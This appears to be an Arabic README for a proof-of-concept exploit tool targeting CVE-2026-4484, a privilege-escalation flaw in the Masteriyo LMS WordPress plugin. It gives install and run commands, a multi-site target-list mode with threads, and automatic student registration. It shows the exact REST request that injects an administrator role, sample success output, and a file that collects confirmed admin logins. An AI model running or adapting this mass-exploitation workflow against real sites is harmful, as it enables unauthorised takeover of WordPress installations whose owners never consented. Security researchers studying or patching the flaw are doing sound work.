
Masteriyo LMS <= 2.1.6 - غياب التحقق من الصلاحيات يسمح بتصعيد الامتيازات من مستخدم موثّق (طالب+) إلى مسؤول
Masteriyo LMS <= 2.1.6 - غياب التحقق من التفويض يؤدي إلى تصعيد صلاحيات المستخدم المصادق (طالب+) إلى مسؤول
الوصف:
إضافة Masteriyo LMS لووردبريس معرّضة لثغرة تصعيد الصلاحيات في جميع الإصدارات حتى 2.1.6 وما قبلها. ينبع أصل الثغرة من دالة InstructorsController::prepare_object_for_database، التي تفشل في تقييد تعيين الأدوار بشكل صحيح أثناء طلبات REST API. يمكن لمهاجم مصادق لا يملك سوى وصول بمستوى طالب صياغة طلب POST مخصص إلى نقطة نهاية Masteriyo REST API — بحقن "roles": ["administrator"] في حمولة الطلب — لرفع صلاحيات حسابه بصمت إلى مسؤول في ووردبريس، محققًا سيطرة كاملة على الموقع دون أي تدخل إداري.
هذا نص برمجي لإثبات المفهوم (PoC) لاستغلال الثغرة يستهدف تثبيتات ووردبريس التي تشغّل إصدارًا معرضًا للثغرة من إضافة Masteriyo LMS. تدعم الأداة وضعين للهجوم:
| الوضع | الاسم | التدفق | حالة الاستخدام |
|---|---|---|---|
| 1 |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
تستخدم الأداة واجهة طرفية تفاعلية — تُطلب جميع المعاملات في وقت التشغيل.
أنشئ ملفًا نصيًا بسيطًا (مثل list.txt) وضع هدفًا واحدًا في كل سطر:
https://target1.com
https://target2.com
http://target3.com/wordpress
استخدم هذا الوضع عندما لا تملك حسابًا مسبقًا على الهدف. تقوم الأداة تلقائيًا بتسجيل حساب طالب جديد ثم تصعّد صلاحياته.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
الخطوات المنفذة تلقائيًا:
/account/signup/ ← استخراج nonce التسجيل/st/ ← تسجيل حساب جديد كطالب/account/ ← استخراج nonce تسجيل الدخول/wp-admin/admin-ajax.php ← تسجيل الدخول عبر Masteriyo AJAX/account/#/dashboard ← استخراج current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} مع {"roles":["administrator"]}Login_admin.txtاستخدم هذا الوضع عندما تملك بالفعل حساب طالب أو مدرّب صالحًا على الهدف.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
الخطوات المنفذة تلقائيًا:
/account/ ← استخراج nonce تسجيل الدخول/wp-admin/admin-ajax.php ← تسجيل الدخول عبر Masteriyo AJAX/account/#/dashboard ← استخراج current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} مع {"roles":["administrator"]}Login_admin.txt| الملف | الوصف |
|---|---|
Login_admin.txt | جميع حالات تصعيد صلاحيات المسؤول المؤكدة |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
تعالج دالة InstructorsController::prepare_object_for_database في Masteriyo LMS معامل roles القادم من نص طلب REST دون التحقق مما إذا كان المستخدم المُرسِل يملك صلاحية edit_users أو promote_users. يمكن لأي مستخدم مصادق (بمستوى طالب أو أعلى) يتمكن من الوصول إلى نقطة النهاية هذه إرسال قيمة دور تعسفية — بما في ذلك administrator — والتي تُحفظ مباشرةً في جدول بيانات المستخدمين الوصفية في ووردبريس.
بواسطة: Nxploited (Khaled Alenazi)
تُقدَّم هذه الأداة لأغراض التعليم والبحث الأمني المصرح به فقط.
المؤلف، Nxploited (Khaled Alenazi)، وجميع المساهمين في هذا المشروع لا يقرّون، ولا يدعمون، ولا يتحملون أي مسؤولية عن إساءة استخدام هذه الأداة أو أي ضرر ناتج عن استخدام هذا البرنامج ضد أنظمة لا تملك إذنًا كتابيًا صريحًا لاختبارها.
- ✅ مسموح: الاستخدام على الأنظمة التي تملكها أو التي حصلت على إذن كتابي صريح لاختبارها.
- ❌ محظور: الاستخدام ضد أي أنظمة دون إذن كتابي صريح مسبق من مالك النظام.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني ويعاقب عليه بموجب القوانين المعمول بها بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب (CMA)، وما يعادلهما من تشريعات حول العالم.
باستخدامك لهذه الأداة، فإنك تتحمل المسؤولية الكاملة عن أفعالك وتؤكد أن لديك السلطة القانونية لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلف أي مسؤولية مهما كانت عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو تبعية ناتجة عن استخدام أو إساءة استخدام هذا البرنامج.
© 2026 Nxploited (Khaled Alenazi) — لأغراض البحث الأمني المصرح به فقط.
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-4484 |
| الخطورة | عالية — درجة CVSS v3.1: 8.8 |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| البرنامج المتأثر | إضافة Masteriyo LMS لووردبريس |
| الإصدارات المتأثرة | جميع الإصدارات حتى 2.1.6 وما قبلها |
| نوع الثغرة | تصعيد الصلاحيات (التلاعب بالأدوار) |
| يتطلب مصادقة | نعم — مستوى طالب أو أعلى |
| CWE | CWE-269: إدارة صلاحيات غير سليمة |
Nx_1| تسجيل ← تسجيل دخول ← تصعيد ← التحقق من المسؤول |
| هجوم جديد — لا يتطلب حسابًا مسبقًا |
| 2 | Nx_2 | تسجيل دخول ← تصعيد ← التحقق من المسؤول | حساب قائم متاح (طالب/مدرّب) |